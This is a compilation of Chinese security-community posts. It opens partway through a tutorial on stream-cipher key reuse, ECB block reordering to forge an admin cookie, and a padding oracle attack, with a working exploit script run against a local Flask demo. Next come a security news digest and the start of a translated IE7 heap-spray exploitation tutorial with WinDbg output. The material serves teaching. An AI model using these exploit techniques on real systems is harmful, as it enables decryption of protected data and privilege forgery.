return data
def xor(lhs, rhs):
return bytes(a ^ b for a, b in zip(lhs, rhs))
# A = load('./1.txt')
A_enc = load('./1.enc')
B = load('./2.txt')
B_enc = load('./2.enc')
print('E(A) =', A_enc)
print('E(B) =', B_enc)
print('B =', B)
print('A =', xor(xor(B, B_enc), A_enc))
输出：
$ python3 stream.py
loaded 6 bytes from ./1.enc
loaded 6 bytes from ./2.txt
loaded 6 bytes from ./2.enc
E(A) = b'\xa1\xb1`\x1b\xa7\x97'
E(B) = b'\xbe\xbb~\x1b\xac\x97'
B = b'world\n'
A = b'hello\n'
在密钥未知的情况下，依然成功还原了`1.txt`的明文内容。防御这种攻击的方法就是尽可能不要重用流加密的密钥，常见的实现是在加密前将密钥与随机数nonce进行运算。
## ECB块重排攻击
前文说过，在块加密中ECB模式中每个块都是独立加密的。因此攻击者可以在未知密钥的情况下，对密文中的块进行重新排列，组合成合法的可解密的新密文。
考虑这么一种场景，某CMS的cookie格式为DES-ECB加密后的数据，而明文格式如下：
admin=0;username=pan
由于DES使用的块大小是8字节，因此上述明文可以切分成三个块，其中`@`为填充符号：
admin=0;
username
=pan@@@@
假设我们可以控制自己的用户名（在注册时），那么有什么办法可以在不知道密钥的情况下将自己提取为管理员呢（即admin=1）？首先将用户名设置为`pan@@@@admin=1;`，此时明文块的内容如下：
admin=0;
username
=pan@@@@
admin=1;
我们所需要做的，就是在加密完成后，将服务器返回的cookie使用最后一个块替换第一个块，这样一来就获得了一个具有管理员权限的合法cookie了。
完整例子就不整了，这里只证明一下这种方式的可行性，首先使用DES-ECB加密明文：
$ cat admin.txt
admin=0;username=pan
$ openssl des-ecb -nosalt -in admin.txt > admin.enc
$ xxd admin.enc
00000000: 0293 07cd 88f3 026e c61e 1284 1a6e 6853 .......n.....nhS
00000010: e0b2 7169 3ee4 0b9a ..qi>...
然后修改密文，将前两个块（8字节）替换，然后使用相同的密钥进行解密：
$ xxd admin1.enc
00000000: c61e 1284 1a6e 6853 0293 07cd 88f3 026e .....nhS.......n
00000010: e0b2 7169 3ee4 0b9a ..qi>...
$ openssl des-ecb -nosalt -d -in admin1.enc
usernameadmin=0;=pan
可以看到，该攻击方法确实是对ECB块加密算法有效的。
类似的利用方式还有在能够解密的情况下，将其他密文的对应块替换到自己的密文块中，从而获取其他密文块的明文数据。比如上述例子如果可以通过cookie获取用户名，那么可以将其他密文块放到用户名部分从而获取其他加密的信息。
该攻击和其他类似的攻击其实有一个共同点，我们无法获取和猜解原始数据，但可以通过修改密文数据并让服务器去成功解密。因此应对此攻击的方法就很明显了，即在加密后再添加MAC校验。
注意这里说的是先加密后MAC，如果顺序反了，那在处理数据时就要先解密再校验MAC，这有可能会导致一系列安全问题，比如下面将提到的密文填塞（Padding
Oracle）攻击。
## Padding Oracle Attack
在介绍该攻击之前，可以先回顾一下关于填充的知识。在[PKCS#7](https://en.wikipedia.org/wiki/PKCS
"PKCS#7")系统中，我们可以通过最后一个块的最后一个字节得知填充的大小以及校验填充是否合法。
密文填塞（Padding Oracle
Attack）攻击通常出现在CBC块加密模式以及PKCS#7填充的情况下。如果服务器在解密数据时对于填充合法的密文和填充不合法的密文有不同的返回，我们就能利用这种先验知识（Oracle）来填塞数据。
再回想一下我们介绍CBC块加密时说过，在一个加密块（Block N）中翻转某一位，则会在解密后导致对应的 **下一个** 明文块（Block
N+1）中相同的位进行翻转。由于这个特性，我们可以在不知道密钥的情况下，使用服务器来猜解出明文数据。
### 最后一字节
具体怎么做呢？再次仔细思考一下CBC模式的解密流程，若要解密一个块，则需要其本身的密文C2以及前一个块的密文C1，解密的流程如下：
在这种攻击场景下，我们（攻击者）可以控制输入密文块的内容，并且获取服务器的差异化返回，即是否填充错误。假设C2是最后一个块，那么通过变异C1，就可以猜解C2明文。猜解过程如下：
* 将C1前15字节随机设置，第16字节设置为'\x00'
* 将修改后的密文块发送给服务器解密
由于我们修改了C1的最后一个字节，那么根据上文介绍，在解密后C2的明文P2最后一个字节也会进行改变，变成什么我们还不知道，但是我们知道：
P2[15] = I2[15] xor C1[15]
其中I2是解密算法如AES解密后的中间值，我们不关心具体解密算法，但总有这么个值。然后，根据服务器的返回我们知道有两种可能：
1. 返回填充不合法。此时`P2[15]`未知。
2. 返回填充合法。此时`P2[15]`肯定为`0x01`，因为只有这样才能出现合法的填充。
如果是第一种情况，我们就继续变异`C1[15]`，直到出现合法的填充，即第二种情况。假设我们在变异到`C1[15] =
0x26`时才出现合法填充，则此时有：
P2[15] = I2[15] xor C1[15]
I2[15] = P2[15] xor C1[15] = 0x01 xor 0x26 = 0x27
回顾一下上图，I2的产生与C1无关，只与C2和密钥key相关，但是我们却计算出了`I2[15]`的值！因此我们可以用`I2[15]`异或上变异前的`C1[15]`从而获得原始的明文。
P2[15] = 0x27 xor C1[15]
这就是Padding Oracle攻击的思路。
### 下一个字节
为了完成攻击，我们继续使用类似方式猜解I2中更多的内容。
* 将C1前14字节设置为随机值
* `C1[14]`设置为0x00
* `C1[15]`设置为能令`P2[15] = 0x02`的值
P2[15] = I2[15] xor C1[15]
C1[15] = P2[15] xor I2[15] = 0x02 xor 0x27 = 0x25
即将`C1[15]`固定为0x25，继续爆破`C1[14]`知道出现合法的填充，此时`P2[14]=0x02`，假设出现合法填充时候爆破的`C1[14]`值为0x68：
P2[14] = I2[14] xor C1[14] = 0x02
I2[14] = P2[14] xor C1[14] = 0x02 xor 0x68 = 0x6A
再一次，我们获得了真实的`I2[14]`值，从何可以算出原始的明文`P2[14]`。以此类推，最终我们可以计算出完整的明文P2内容。
### 下一个块
根据上述方法，我们已经可以还原最后一个密文块的明文了。而对于CBC模式，每个密文块的解密仅和当前块以及前一个块相关，因此上述攻击可以应用到所有块中，除了第一个。
第一个块的加解密使用初始化向量IV进行，对此没有通用破解方法。但是CBC加密中IV也不是必须保密的，因此在实践中通常会组合到密文的最前面或者最后面，其长度和块大小相同。如果一定要解密第一个块，可以使用这种猜测方法。
### 示例
实践出真知，我们来看一个具体的例子。首先用Flask写一个简单的应用，如下：
#!/usr/bin/env python3
import binascii
import string
import random
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request
app = Flask(__name__)
db = {}
BSIZE = 16
secret = b'\x26' * BSIZE
def get_iv():
return b'\x00' * BSIZE
def decrypt(data):
data = data.encode()
data = binascii.unhexlify(data)
iv = data[:BSIZE]
engine = AES.new(key=secret, mode=AES.MODE_CBC, iv=iv)
data = data[BSIZE:]
data = engine.decrypt(data)
data = unpad(data, BSIZE)
return data.decode()
def encrypt(data):
data = data.encode()
iv = get_iv()
engine = AES.new(key=secret, mode=AES.MODE_CBC, iv=iv)
return binascii.hexlify(iv + engine.encrypt(pad(data, BSIZE))).decode()
@app.route('/dec/<data>')
def dec(data):
# print('dec:', data)
try:
key = decrypt(data)
except Exception as e:
return 'Error: ' + str(e)
if key not in db:
return 'Error: invalid key'
return db[key]
@app.route('/enc/<key>')
def enc(key):
db[key] = 'valid'
return encrypt(key)
app.run(debug=False)
该应用可以接收一个明文返回其密文（enc），也可以接收密文返回对应信息。
$ curl http://localhost:5000/enc/See_you_in_Red_Square_at_4_pm
00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455
$ curl http://localhost:5000/dec/00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455
valid
$ curl http://localhost:5000/dec/00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8466
Error: Padding is incorrect.
作为攻击者，我们拿到的只有加密后的信息，目的就是要将其解密，查看明文内容：
00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455
方便起见，我们假设已知服务器使用的是`AES-128-CBC`加密算法，且IV组合在密文头部。其实不知道也没关系，只不过需要多试几次罢了。根据前面介绍的原理，我们先将密文分割成128/8=16字节的3个块：
block[0] = '00000000000000000000000000000000'
block[1] = 'c8ab1c881b40d54d81d1efab429ad239'
block[2] = 'dac1d6573e7c26d533ffc3cbc23a8455'
经测试，当服务器遇到填充错误会返回`Error: Padding is incorrect.`或者`Error: PKCS#7 padding is
incorrect.`，那么这就可以作为我们Padding Oracle攻击的依据。
首先将`block[1]`最后一字节从0x00开始到0xff不断变异尝试，发现当值为0x3b时候出现了非Padding错误，此时：
I2[15] = _C1[15] ^ _P2[15] = 0x3b ^ 0x01 = 0x3a
则明文最后一字节为：
P2[15] = I2[15] xor C1[15] = 0x3a ^ 0x39 = 0x03
依此类推，不断从后往前猜解每个字节的值。一个简单的自动化脚本如下：
#!/usr/bin/env python3
import time
import requests
import binascii
url = 'http://localhost:5000/dec/'
data = '00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455'
BSIZE = 16
def test(data):
r = requests.get(url + data)
return r.text
b = binascii.unhexlify(data)
nblocks = int(len(b) / BSIZE)
blocks = []
print('nblocks:', nblocks)
for i in range(nblocks):
blk = b[i*BSIZE: (i+1)*BSIZE]
print(f'block[{i}] =', binascii.hexlify(blk))
blocks.append(blk)
print('iv:', b[:BSIZE])
blockID = -1
prevID = blockID - 1
print(f'decrypting block[{blockID}], prev =', binascii.hexlify(blocks[prevID]))
plaintext = bytearray(16)
inter = bytearray(16)
for byteIdx in range(BSIZE-1, -1, -1):
prevBlock = bytearray(blocks[prevID])
print(f'mutating block[{prevID}][{byteIdx}]')
origin = prevBlock[byteIdx]
padValue = BSIZE - byteIdx
# 将byteIdx之前的值可以任意随机设置
for i in range(byteIdx):
prevBlock[i] = 0x11
# 将byteIdx之后的值设置为令其明文为padValue的值
for i in range(byteIdx + 1, BSIZE):
prevBlock[i] = inter[i] ^ padValue
print('begin:', prevBlock.hex())
found = False
for val in range(0x100):
prevBlock[byteIdx] = val
_blocks = blocks.copy()
_blocks[prevID] = bytes(prevBlock)
payload = b''.join(_blocks)
payload = binascii.hexlify(payload).decode()
resp = test(payload)
# print(f'testing', binascii.hexlify(prevBlock), '->', resp, end='\r')
if 'incorrect' in resp:
continue
i2 = padValue ^ val
p2 = origin ^ i2
inter[byteIdx] = i2
plaintext[byteIdx] = p2
print(f'found c={val}, i={padValue}^{val}={i2}, o={origin}, p={p2}')
found = True
break
if not found:
print('Error: no valid value found')
break
print('plaintext =', plaintext)
运算结果为：
$ python3 padding_oracle_exp.py
nblocks: 3
block[0] = b'00000000000000000000000000000000'
block[1] = b'c8ab1c881b40d54d81d1efab429ad239'
block[2] = b'dac1d6573e7c26d533ffc3cbc23a8455'
iv: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
decrypting block[-1], prev = b'c8ab1c881b40d54d81d1efab429ad239'
mutating block[-2][15]
begin: 11111111111111111111111111111139
found c=59, i=1^59=58, o=57, p=3
mutating block[-2][14]
begin: 1111111111111111111111111111d238
found c=211, i=2^211=209, o=210, p=3
mutating block[-2][13]
begin: 111111111111111111111111119ad239
found c=154, i=3^154=153, o=154, p=3
mutating block[-2][12]
begin: 111111111111111111111111429dd53e
found c=43, i=4^43=47, o=66, p=109
mutating block[-2][11]
begin: 1111111111111111111111ab2a9cd43f
found c=222, i=5^222=219, o=171, p=112
mutating block[-2][10]
begin: 11111111111111111111efdd299fd73c
found c=182, i=6^182=176, o=239, p=95
mutating block[-2][9]
begin: 111111111111111111d1b7dc289ed63d
found c=226, i=7^226=229, o=209, p=52
mutating block[-2][8]
begin: 111111111111111181edb8d32791d932
found c=214, i=8^214=222, o=129, p=95
mutating block[-2][7]
begin: 111111111111114dd7ecb9d22690d833
found c=48, i=9^48=57, o=77, p=116
mutating block[-2][6]
begin: 111111111111d533d4efbad12593db30
found c=190, i=10^190=180, o=213, p=97
mutating block[-2][5]
begin: 111111111140bf32d5eebbd02492da31
found c=20, i=11^20=31, o=64, p=95
mutating block[-2][4]
begin: 111111111b13b835d2e9bcd72395dd36
found c=114, i=12^114=126, o=27, p=101
mutating block[-2][3]
begin: 111111887312b934d3e8bdd62294dc37
found c=247, i=13^247=250, o=136, p=114
mutating block[-2][2]
begin: 11111cf47011ba37d0ebbed52197df34
found c=115, i=14^115=125, o=28, p=97
mutating block[-2][1]
begin: 11ab72f57110bb36d1eabfd42096de35
found c=209, i=15^209=222, o=171, p=117
mutating block[-2][0]
begin: c8ce6dea6e0fa429cef5a0cb3f89c12a
found c=169, i=16^169=185, o=200, p=113
plaintext = bytearray(b'quare_at_4_pm\x03\x03\x03')
这样，我们就在无需知道服务端密钥的情况下，成功还原了最后一个块的明文。逐块处理，就可以还原完整的内容了。当然还有值得优化的地方，比如爆破出最后一字节明文后，可以根据Padding原理直接跳过若干字节，加快爆破的速度，以及使用IV还原第一个块等。
# 小结
本文介绍了生活中常见的对称加密算法，包括流加密和块加密。其中流加密为逐字节加密，类如RC4等算法容易受到密钥重用攻击的影响，导致攻击者在无需知道密钥的情况下还原密文；而块加密将数据分割为一个个块再分别进行加密，ECB中各个块独立加密，容易收到重排攻击的影响，CBC中每个块加密后会与前一个块密文进行异或，在填充规律已知的情况下，容易收到Padding
Oracle攻击的影响。缓解密钥重用的方式一般是增加随机数nonce，而绕过密钥获取/修改明文的攻击则可以通过对加密数据添加完整性保护（MAC）。加密算法本身没有漏洞，但是使用不当也能导致严重的安全问题，关键是需要理解所使用的加密算法基本原理。
# 参考链接
* [Block cipher mode of operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation "Block cipher mode of operation")
* [Stream Cipher Attacks](https://en.wikipedia.org/wiki/Stream_cipher_attacks "Stream Cipher Attacks")
* [ The Padding Oracle Attack](https://robertheaton.com/2013/07/29/padding-oracle-attack/ " The Padding Oracle Attack")
* * * | 社区文章 |
# 安全快讯16 | 90亿信用卡曝漏洞，黑客无需密码即可盗刷
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 诈骗先知
### “出租收款码”能躺赚？你可能违法犯罪了！
最近流行一种叫“出租收款码”的赚钱方式，只需要简单地按照对方要求输入收款金额，然后将收款码截图发送给对方，就能按照收款金额拿到一定比例的佣金，更有甚者还发展“下线”一起赚钱，不知不觉中成了诈骗分子的“帮凶”。
（出租二维码交易截图）
这种手法通常是 **赌博、色情、诈骗等黑色产业的不法分子利用普通用户账户，分批分量地运作，将赃款洗白的一种新型洗钱犯罪方式。**
天上掉馅饼？不存在的！你出借的收款码，可能会被不法分子利用，参与了一种新型的“洗钱”犯罪！
图片来自网络
在这条洗钱路径中，赌博网站通过中介平台和代理商将赌博用户充值的赃款下发给“出租收款码”的用户。这部分用户在扣取自己的收益后将剩下的钱再通过代理商返还给中介平台。中介平台和代理商收取各自的利益后再将钱打给赌博网站。非法赌博网站数以亿计的赃款，通过这些私人账户分批分量地运作，最终将钱赃款漂白，并且由于洗钱路径隐蔽分散，也加大了警方的侦查难度。
**安全课堂**
对于 **“出租收款码”** 这样的新型洗钱套路，大家一定要提高警惕，不然轻则微信被封，重则间接参与违法犯罪，不要沦为诈骗分子的“帮凶”。
## 行业动态
### 超8成网友每周接到骚扰电话，工信部拟建立谢绝来电平台
工信部近日就《通信短信息和语音呼叫服务管理规定（征求意见稿）》公开征求意见，根据征求意见稿，工信部组织建立全国统一的“谢绝来电”平台，引导相关组织或个人尊重用户意愿规范拨打商业性电话。
**未经同意视为拒绝，商业短信不可随意发**
一直以来，一些机构、个人以商业推销之名频繁发送短信、拨打电话，给人们生活带来不小的困扰。如何规范和管理商业性短信、电话备受关注。
征求意见稿明确提出，任何组织或个人未经用户同意或者请求，或者用户明确表示拒绝的，不得向其发送商业性短信息或拨打商业性电话。其中特别强调，用户未明确同意的，视为拒绝。用户同意后又明确表示拒绝接收的，应当停止。
**建立“谢绝来电”平台，加强源头治理**
近年来，运营商在提升技术防范能力方面持续发力，建立包含终端风险提示、网络行为发现等在内的安全防控体系，能够实现对一些异常话务的自动识别。但随着垃圾短信和骚扰电话的隐蔽性加强，借助一些平台随意改号等现象频繁发生，给溯源带来困扰。
“不得擅自变更、隐藏、冒用电信网码号”“不得擅自转让或者出租电信网码号”……征求意见稿聚焦码号资源等源头端，对垃圾短信、骚扰电话严格治理。
## 国际前沿
### 90亿信用卡曝出协议漏洞，黑客无需密码即可盗刷
每次我们使用信用卡/借记卡付款时，收款机都会使用EMV通信协议来处理付款。该协议由Europay、Mastercard和Visa等公司开发，目前在全球超过90亿张卡中使用。最近，来自苏黎世联邦理工学院计算机科学系的3名研究人员
**发现了EMV协议中的漏洞，该漏洞使攻击者可以实施中间人攻击（MITM），进行欺诈性交易。**
通过一个模型来模拟商家机器、用户卡和银行的真实情况，研究人员找到2个主要漏洞。首先，他们开发了一个Android应用程序概念验证（POC）漏洞，当用于非接触式支付时，攻击者可以在不使用任何PIN码的情况下进行攻击。
**该攻击能够得手的原因是持卡人验证方法中缺少身份验证和加密技术，攻击者可以根据自己的需要修改设置。**
第二个漏洞使攻击者诱使商家认为现场的脱机非接触式交易已成功，攻击者离开后才发现该交易已被拒绝。
综上所述，可以通过直接全局更新终端系统而不是EMV协议本身来修复这2个漏洞。但是，考虑到大约有1.61亿个这样的终端，其中许多位于技术落后的国家，可能需要花费大量时间才能避免此类漏洞被犯罪分子利用。 | 社区文章 |
# 【技术分享】Windows Exploit开发系列教程——堆喷射（一）
##### 译文声明
本文是翻译文章，文章来源：看雪论坛
原文地址：<http://bbs.pediy.com/thread-207158.htm>
译文仅供参考，具体内容表达以及含义原文为准。
**前言**
欢迎来到堆喷射教程的第一部分。这部分我会介绍IE下典型的堆喷射技术，
第二部分会介绍精确喷射和IE8下的UAF漏洞。值得一提的是，堆喷射仅仅是一种payload传递技术，它不能绕过任何漏洞缓解技术。大多时候对浏览器的漏洞(或者flash,pdf,office)利用会使用这项技术。
缓冲区溢出往往依赖这样的事实：们能够在栈(堆)上分配内存并写入shellcode。但是像浏览器或ActiveX的漏洞利用你可分配内存更稳定，不担心坏字符。
浏览器的漏洞利用我比较纠结用immunity还是Windbg调试器。Immunity是一个可视化的调试器，使用起来更舒适和方便。但是Windbg更快，更稳定。它有些特性很实用(最明显的是实用javascript断点)。我把选择权留给你。Windbg的优势在堆喷射教程的第二部分会更明显。值得一提的是，用Windbg之前需要先设置符号表。
好的。现在就开始我们的漏洞之旅吧！
我将用"RSP MP3
Player"介绍这项技术。之前的一个漏洞利用程序在[这里](http://bbs.pediy.com/thread-207158.htm)。当你分析浏览器的漏洞，常常需要用到不同的版本。安装IE-Collection即可 **[下载](http://bbs.pediy.com/thread-207158.htm)
**。更新你系统的浏览器到最新版本然后安装IE-Collection。
**调试机器** ：Windows XP SP3 & IE7
**漏洞软件** ：[下载](http://bbs.pediy.com/thread-207158.htm)
**
**
**介绍**
首先我想给满分 corelanc0d3r所做的工作。“堆喷射揭秘”是非常好并且很有深度的教程，解释了堆喷射用于payload传递的细节。我很抱歉使用了
corelanc0d3r 之前做的一些工作，但我有我的目的：用一个实际的漏洞来解释堆喷射。
我们知道程序栈可利用的空间是有限的。堆管理器可以动态的分配很大一块内存，例如程序需要存储临时定义的数据堆十分复杂，我不会解释所有的细节。但我会给你足够的信息帮助你了解它。
关于堆分配器有几件事我们需要知道：
(1)由于内存动态分配和释放，会产生堆碎片；
(2)堆内存块释放。会由前端或后端分配器回收(依赖操作系统).
分配器类似于缓存服务那样优化内存块分配。像之前提到堆分配和释放产生堆碎片(=bad)，为了较少堆碎片，新分配一块内存时，堆分配器会直接返回之前释放的一块同样大小的内存。从而减少了新分配的次数(=good)；
(3)虽然堆内存是动态分配，但是分配器往往会连续的分配内存块 (为了减少堆碎片)这意味着从攻击者的角度来看堆是确定的。
连续的分配内存我们就可以在某个可预测的地址上布置我们的数据。
“堆喷射”概念第一次由SkyLined在2004年提出。当时被用于IE浏览器iframe 缓冲区溢出漏洞利用。这个通用的技术已经被用于大多数浏览器：
IE7, firefox 3.6.24, Opera 11.60。 精确堆喷射将在第二部分介绍，考虑一下这种情况，如果一个漏洞(可以控制EIP, UAF,
等等)允许写任意4字节。我们可以在堆上分配一系列内存块(包含shellcode)， 然后利用漏洞实现4字节改写EIP，就可以跳去执行堆上的代码。
Javascript可以直接在堆上分配字符串，通过巧妙的布置堆我们可以exploit任何的浏览器。现在主要问题是如何实现稳定的堆分配。下图应该能给你一些启发：
这足以提起你的兴趣。首先我们了解堆分配的过程, 接下来我们用它实现ActiveX的漏洞利用。
**
**
**喷射shellcode块**
之前提到，堆喷射是一种payload传递技术，它充分利用了javascript的特性。先让我们在堆上分配一些简单字符串。
下图可以看到我们成功在堆上分配ASCII字符串。记得用unescape否则我们的字符串将会是UNICODE。
目前为止还不错, 但记住我们的目标是在堆上连续的分配NOP+Shellcode块. 稍微改变一下JS脚本如下：
本质上来讲我们正在创建一个1000字节payload块，重复51次。下面是块的结构：
"x90"*(1000-len(shellcode)) + shellcode
是时候用Windbg观察分配的情况了。下面是51个ASCII字符串分配结果。如果跟踪字符串的分配你会注意到开始的时候分配存在空隙，但是到后面的话基本上就是连续的。
0:013> s -a 0x00000000 L?7fffffff "FuzzySecurity"
02a4b03e 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
02a4b846 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
02a4c04e 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
[...Snip...]
0312e0f6 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
0312f0fe 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
03130106 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
Looking at 02a4c04e we can see the alignment is not perfect as there are allot
of junk bytes between blocks:
0:013> d 02a4c04e
02a4c04e 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
02a4c05e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
02a4c06e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
02a4c07e 00 00 00 00 00 00 00 00-00 00 59 c0 48 e8 00 01 ..........Y.H...
02a4c08e 28 ff d0 07 00 00 90 90-90 90 90 90 90 90 90 90 (...............
02a4c09e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
02a4c0ae 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
02a4c0be 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
However if we start from the last block and look back in steps of 1000-bytes we
can see the allocations look pretty good!
0:013> d 03130106-20
031300e6 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
031300f6 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03130106 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
03130116 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03130126 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03130136 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03130146 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03130156 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:013> d 03130106-20-1000
0312f0e6 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312f0f6 90 90 90 90 90 90 90 90-46 75 7a 7a 79 53 65 63 ........FuzzySec
0312f106 75 72 69 74 79 90 00 00-90 90 90 90 90 90 90 90 urity...........
0312f116 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312f126 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312f136 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312f146 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312f156 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:013> d 03130106-20-2000
0312e0e6 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312e0f6 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
0312e106 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312e116 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312e126 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312e136 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312e146 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312e156 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:013> d 03130106-20-3000
0312d0e6 90 90 90 90 90 90 90 90-46 75 7a 7a 79 53 65 63 ........FuzzySec
0312d0f6 75 72 69 74 79 90 00 00-90 90 90 90 90 90 90 90 urity...........
0312d106 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312d116 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312d126 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312d136 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312d146 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312d156 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
很好，不可否认的是我们很幸运得到连续的分配。接下来需要做什么呢。
(1) 分配更多的数据填充更多的堆空间(覆写更高的内存地址)；
(2) 改变块大小以适应BSTR对象，是分配更稳定和连续。
下面是最终的堆喷射脚本(公开的漏洞利用脚本，在所有IE7以下的版本测试结果一致。
这个脚本喷射更大的内存块
0x4000(=262144字节=0.25mb)，重复喷喷射500次(=125mb)。考虑到我们的shellcode不太会大于1000字节，这意味着我们有99.997%的概率命中NOP’s。这样使得堆喷射更稳定。让我们在Windbg观察堆喷射：
0:014> s -a 0x00000000 L?7fffffff "FuzzySecurity"
02a34010 46 75 7a 7a 79 53 65 63-75 72 69 74 79 0d 0a 20 FuzzySecurity..
030ca75c 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
03b4ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
03c6ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
03cfffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
03d8ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
03e1ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
03eaffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
03f3ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
[...Snip...]
1521ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
152affee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
1533ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
153cffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
1545ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
154effee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
1557ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
!peb看看默认的进程堆是哪个 (我们分配的字符串将会保存在默认进程堆)。
另外你可以执行"!heap -stat" 看看已经提交的字节数
0:014> !peb
PEB at 7ffd8000
InheritedAddressSpace: No
ReadImageFileExecOptions: No
BeingDebugged: Yes
ImageBaseAddress: 00400000
Ldr 00251e90
Ldr.Initialized: Yes
Ldr.InInitializationOrderModuleList: 00251f28 . 002557d8
Ldr.InLoadOrderModuleList: 00251ec0 . 00255918
Ldr.InMemoryOrderModuleList: 00251ec8 . 00255920
Base TimeStamp Module
400000 46c108d9 Aug 14 09:43:53 2007 C:Program FilesUtilu IE CollectionIE700iexplore.exe
7c900000 4d00f29d Dec 09 23:15:41 2010 C:WINDOWSsystem32ntdll.dll
7c800000 49c4f2bb Mar 21 21:59:23 2009 C:WINDOWSsystem32kernel32.dll
77dd0000 49900be3 Feb 09 18:56:35 2009 C:WINDOWSsystem32ADVAPI32.dll
77e70000 4c68fa30 Aug 16 16:43:28 2010 C:WINDOWSsystem32RPCRT4.dll
[...Snip...]
767f0000 4c2b375b Jun 30 20:23:55 2010 C:WINDOWSsystem32schannel.dll
77c70000 4aaa5b06 Sep 11 22:13:26 2009 C:WINDOWSsystem32msv1_0.dll
76790000 4802a0d9 Apr 14 08:10:01 2008 C:WINDOWSsystem32cryptdll.dll
76d60000 4802a0d0 Apr 14 08:09:52 2008 C:WINDOWSsystem32iphlpapi.dll
SubSystemData: 00000000
ProcessHeap: 00150000
ProcessParameters: 00020000
CurrentDirectory: 'C:Documents and SettingsAdministratorDesktop'
WindowTitle: 'C:Program FilesUtilu IE CollectionIE700iexplore.exe'
ImageFile: 'C:Program FilesUtilu IE CollectionIE700iexplore.exe'
CommandLine: 'about:home'
[...Snip...]
让我们打印堆分配数据，我们可以看到98.63% 堆块正在使用：
0:014> !heap -stat -h 00150000
heap @ 00150000
group-by: TOTSIZE max-display: 20
size #blocks total ( %) (percent of total busy bytes)
7ffe0 1f4 - f9fc180 (98.63)
3fff8 3 - bffe8 (0.30)
1fff8 4 - 7ffe0 (0.20)
7ffd0 1 - 7ffd0 (0.20)
7ff8 b - 57fa8 (0.14)
fff8 5 - 4ffd8 (0.12)
